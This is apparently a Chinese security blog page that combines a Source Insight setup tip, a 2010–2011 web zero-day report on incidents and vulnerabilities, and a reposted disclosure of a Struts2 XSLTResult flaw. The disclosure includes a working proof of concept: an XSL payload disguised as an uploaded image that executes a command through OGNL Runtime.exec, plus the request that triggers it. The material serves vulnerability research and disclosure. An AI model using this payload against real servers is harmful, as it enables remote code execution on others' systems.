dns_attack

DNS协议传输过程的脆弱点

dns_attack

用source insight 看python源代码

1:下载si的一个CLF文件(for python)下载地址:http://www.sourceinsight.com/public/languages/Python.CLF

2:open si,选择options->Preferences->Language->import->将刚刚的clf文件导入进来,然后OK

3:options->Document options->Language选择python,再new 一个type,里面输入python,然后在file filter中输入:*.py,OK 

2010-2011 WEB 零日漏洞安全报告

本期报告概要:

2010年1月12日上午7点钟开始,全球最大中文搜索引擎百度”遭到黑客攻击,长时间无法正常访问。这是自百度建立以来,所 遭遇的持续时间最长、影响最严重的黑客攻击。回顾2010年,猖獗的WEB 零日漏洞攻击似乎预示着,2011年又将是一个WEB 零日漏洞活跃的年份。 各种安全漏洞的传播仍将继续扩大,僵尸网络还将活跃并更加频繁变换方位,而黑客也将继续绞尽脑汁发明新的方式,以试图逃过各种安全软件的过滤。为此,杭州 安恒信息技术有限公司攻防实验室结合自身研究成果总结并发布2010-2011 Web 零日漏洞安全报告,从而呼吁整个互联网关注Web时代信息安全的全新威胁及趋势走向。

本期报告主要内容:

  • 2010-2011Web安全事件回顾
  • 2010-2011Web 0day回放
  • Web安全未来发展趋势与挑战

2010-2011Web安全事件回顾:

2011-3月MYSQL.com和sun.com被入侵

攻击者通过MySQL.com上查看用户的页面进入,获取到了数据库、表及存储用户密码的dump数据。更严重的是,攻击者将用户密码数据公布在网上让其他人进行破解。更糟糕的是MySQL产品负责人的密码已被破解(竟然是4位数字:安全意识)。

2011-4月,索尼数据服务器被入侵

日本索尼公司5月1日在东京举行新闻发布会,就公司网络游戏用户个人信息遭窃一事表示道歉,承认1000万张信用卡资料可能外泄,已邀请美国联邦调查局(FBI)展开调查。

2011-6月Google Gmail邮箱被攻击

当Gmail用户打开带有Flash漏洞攻击代码的恶意网页时,Gmail邮箱中将被黑客偷偷添加一个“间谍”帐户。这个“间谍”帐户不仅可以阅读所有邮件,甚至还能冒充Gmail邮箱的主人向外发送邮件,从而使黑客达到发布恶意广告、欺诈信息等目的。
Flash被广泛应用在网页视频、网页游戏等领域,国内几乎90%以上的电脑都安装了Adobe Flash Player。同时,Gmail在国内也拥有大量忠诚用户。因此,Flash“间谍”漏洞的曝光将对Gmail邮箱安全造成极大威胁。

2011-6月新浪微博遭黑客攻击

图片为引入的蠕虫JS文件:

6月28日晚,许多新浪微博用户的微博账号突然间大爆发,短时间内发布了多条带有短链接的微博并对粉丝发同类私信。这其中不乏 加V认证的用户。而粉丝们收到该微博内容后,受微博或私信中诱惑性文字的诱导,点击该链接后,这一批用户也遭受感染,进行批量发布带有恶意短链接的微博。 据分析,此次新浪微博大范围遭受XSS攻击,主要原因是新浪微博的名人堂过滤不严,导致执行跨站脚本。当用户点击该恶意链接后,蠕虫病毒就通过这些用户继 续的进行传播,通过执行脚本,令受感染的微博帐号发布如下带有诱惑性字样的微博正文,并附上短链接:

郭美美事件的一些未注意到的细节;

建党大业中穿帮的地方;

让女人心动的100句诗歌;

3D肉团团高清普通话版种子;

这是传说中的神仙眷侣啊;

惊爆!范冰冰艳照真流出了;

杨幂被爆多次被潜规则;

傻仔拿锤子去抢银行;

可以监听别人手机的软件;

个税起征点有望提到4000。

以上均为当前热门话题,对用户很具有诱导性。尤其是众多加V认证的用户受到感染,发布相关微博内容后,病毒传播的途径更为广泛,影响更为严重。在不到一个小时的时间,已经有超过3万用户中招。

 

2010-2011Web 0day回放:

2010-5月nginx文件类型错误解析漏洞

漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}
的方式支持对php的解析,location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量 SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定,而通过分析可以看 到$fastcgi_script_name是直接由URI环境变量控制的,这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP 的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。

 

2010-7月Struts2/XWork < 2.2.0远程执行任意代码漏洞

Struts2的核心是使用的webwork框架,而webwork又是使用的XWork来处理action的,并且通过调用 底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个 http参数:
user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL将它转换为:
action.getUser().getAddress().setCity(“Bishkek”)
action.getUser().setFavoriteDrink(“kumys”)
这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。
除了支持参数的设置和读取,ONGL支持另外一些session、scope等等,而且ONGL支持调用java静态方法,这样子就可以成功进行调用 java静态方法来进行攻击,比如调用java.lang.RunTime. getRuntime().exec()来执行命令

 

2010-9月ASP.NET的Padding Oracle Attack漏洞

ASP.net中引入资源文件(JS等),通常使用了WebResources.axd?d=xyz来实现的。 WebResource.axd有一个特点,便是会对错误的密文(即d=xyz中的xyz)产生500错误,而对正确的密文产生404错误,这便形成了足 够的提示。 通过穷举破解出站点的Machine Key,也就是网站所使用的密钥,就可以下载网站私密文件(web.config)或者修改ViewState等等 。

 

2011-3月Resin Web服务器解析漏洞

安恒安全团队研究发现:Resin 在处理servlet mapping时支持使用正则表达式来进行处理,将url-pattern转化为正则表达式的时候没有进行安全校验,并且在进行正则表示匹配的时候使用的 匹配方式是匹配输入串中与模式匹配的子串,结合上面点,攻击者能够构造特殊的url来使得web服务器调用特定的servlet来进行解析,从而产生解析 漏洞。

 

2011-3月Yahoo Mail跨站漏洞

安恒安全团队研究发现:Yahoo Mail XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-3月21CN Mail跨站漏洞

安恒安全团队研究发现:21CN XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-3月中国移动139Mail跨站漏洞

安恒安全团队研究发现:139mail XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-4月网易旗下163Mail跨站漏洞

安恒安全团队研究发现:网易旗下所有邮箱系统 XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-4月 QQMail跨站漏洞

安恒安全团队研究发现:腾讯QQ MAIL XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

2011-4月HOT Mail跨站漏洞

HOT MAIL XSS漏洞,利用跨站漏洞可以成功劫持受害者浏览器。

 

2011-5月阿里旺旺远程ActiveX溢出0DAY

安恒安全团队研究发现:淘宝阿里旺旺的一个dll中的图像文件名函数存在一个栈溢出漏洞,可以远程执行任意代码;imageMan.dll的图像文件名函数存在一个栈溢出漏洞,可以执行任意代码。

2011阿里旺旺在本地开启一个随即端口开放http服务,并在所有IP上监听,并通过此端口获得用户认证的token,通过 获得的token可直接登陆网站。获得监听端口的token需要对应的URL,而此URL可很容易猜解到。导致可通过远程获得目标token,并登陆网 站。

图为2011-5月 阿里旺旺token劫持漏洞:

 

 

2011-7月Nginx %00空字节执行任意代码(php)漏洞

Possible Arbitrary Code Execution with Null Bytes, PHP, and Old Versions of nginx

Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h).
Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

 

2011-8月Apache HTTP Server畸形Range选项处理远程拒绝服务漏洞

Apache HTTP Server是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。

Apache HTTP Server在处理Range选项生成回应时存在漏洞,远程攻击者可能利用此漏洞通过发送恶意请求导致服务器失去响应,导致拒绝服务。此漏洞源于 Apache HTTP Server在处理Range头选项中包含的大量重叠范围指定命令时存在的问题,攻击者可通过发送到服务器的特制HTTTP请求耗尽系统资源,导致 Apache失去响应,甚至造成操作系统资源耗尽。

 

2011-8月phpMyAdmin跟踪功能多个跨站脚本漏洞

phpMyAdmin存在多个安全漏洞,允许恶意用户进行脚本注入攻击。

部分传递给table, column和index名的输入在跟踪功能中使用前缺少过滤,可被利用注入任意HTML和脚本代码,当恶意数据被查看时可以目标用户浏览器安全上下文执行恶意代码。

 

Web安全未来发展趋势与挑战

  • 常规的、为大众所认同的注入、跨站等攻击技术现在普遍越来越少,导致对于安全级别较高的Web应用发起攻击比以前苦难很多。
  • 随着攻击者对于Web应用的研究越来越深入,新的0day将会被越来越多的发掘出来,至此一些大型的Web应用,商业级别和安全性较高的站点都会因为源代码被窃取,或者反编译等手段,使得Web应用0day的挖掘会越来越多。
  • 保障Web安全,就不得不保障源代码的安全,对发布的Web应用都需要进行加密保护。
  • 传统的攻击技术,成功攻击网站的案例越来越少,随着安全意识的整体提升,传统的基于输入、输出的过滤会越来越严格,但是web应用的逻辑漏洞确是不能被忽略的。
  • 另外随着Web应用的发展,Web的功能越来越强劲,对于SNS社区的发展,人与人之间的交流愈发频繁,相反的攻击发生的概率也会越高,尤其是基于Web系统逻辑功能API的调用攻击(CSRF),在辅予社会工程学的技术,攻击也依然会无所不能。
  • 核心互联网应用面临严峻挑战。网上银行、网上营业厅、网络购物、网游、DNS服务器等,很多恶意攻击者出于不良的目的对Web 服务器进行攻击,想方设法通过各种手段获取他人的个人账户信息谋取利益。
struts

struts2框架XSLTResult本地文件代码执行漏洞

这是个没有人公布过的漏洞,偶尔看代码发现的。事实上,这段代码用的人不多,需要同时满足两个情况,才可以搞。我猜测,发出struts2远程代码执行的那个大牛,不可能没发现这么弱智的漏洞。所以,要么是有原因不能公布,要么就是卖了,那就好,这次我首发,哈哈哈!
先讲讲原理:
struts2允许action有多种返回类型,其中包括XSLT类型,这种类型允许接受用户提交一个文件地址,并且去解析它为XSLT文件,无论扩展名是什么。
这是XSLTResult文件代码:

http://svn.apache.org/repos/asf/struts/struts2/trunk/core/src/main/java/org/apache/struts2/views/xslt/XSLTResult.java
//获取用户提交的"xslt.location"的值
String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");
path = pathFromRequest;
URL resource = ServletActionContext.getServletContext().getResource(path);
//解析用户提交的文件地址为xslt
templates = factory.newTemplates(new StreamSource(resource.openStream()));

而XSLT解析,会允许执行java静态方法,所以,只要上传一个文件在服务器上,例如
/upload/7758521.gif:

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
		 version="1.0" xmlns:ognl="ognl.Ognl">
	<xsl:template match="/">
		<html>
			<body>
			   <h2>hacked by kxlzx</h2>
			   <h2>http://www.inbreak.net</h2>
			   <exp>
					 <xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec(&quot;calc&quot;)', '')"/>
				</exp>
			</body>
		</html>
	</xsl:template>
</xsl:stylesheet>

这个xsl文件解析时,会调用ognl中的:

ognl:getValue('@Runtime@getRuntime().exec("calc")', '')

导致执行任意代码。
事实上,XSLT解析,可以执行任意代码,并非只是java的,php也可以,只是大多数人不注意罢了,我在之前,还看到很多关于XSLT执行代码的文章,当然不是为了安全研究。
可能这个知识点知道的不多,导致没有人发现struts2这个明显的安全问题。
八卦一下,这个漏洞和ognl木有任何关系,其实是因为正常的Runtime.getRuntime().exec()太麻烦了,ognl用起来非常方便,
而struts2必然自带ognl包,所以我跟随大牛脚步,坚定无比的执行ognl语句。

文件上传后,要找到一个返回xslt的action才行,XSLTResult的作用就是把action返回,直接转换为xml,便于传输。
通常在ajax的时候,用这个会比较常见,所以看到xml返回时,就要特别注意了。
假设一个xslt的返回action地址为

http://www.inbreak.net/xslt.action

我们就可以提交

http://www.inbreak.net/xslt.action?xslt.location=upload/a.gif

struts
从原理上,看出来这个漏洞需要至少满足两个情况:
1、网站使用了XSLTResult返回
这一点不好验证,具体来说,这种返回是为了处理“对象–xml”的,就是把一个对象,封装成xml,然后扔出来。那么具体的业务逻辑,就要看网站的功能了。
2、要有上传文件功能
因为必须在web目录下的文件,才可以搞,他只能load到web下的,往前,就不行了。但是好在不限制文件名和扩展名,还是有很大机会的。

本文转自:http://www.inbreak.net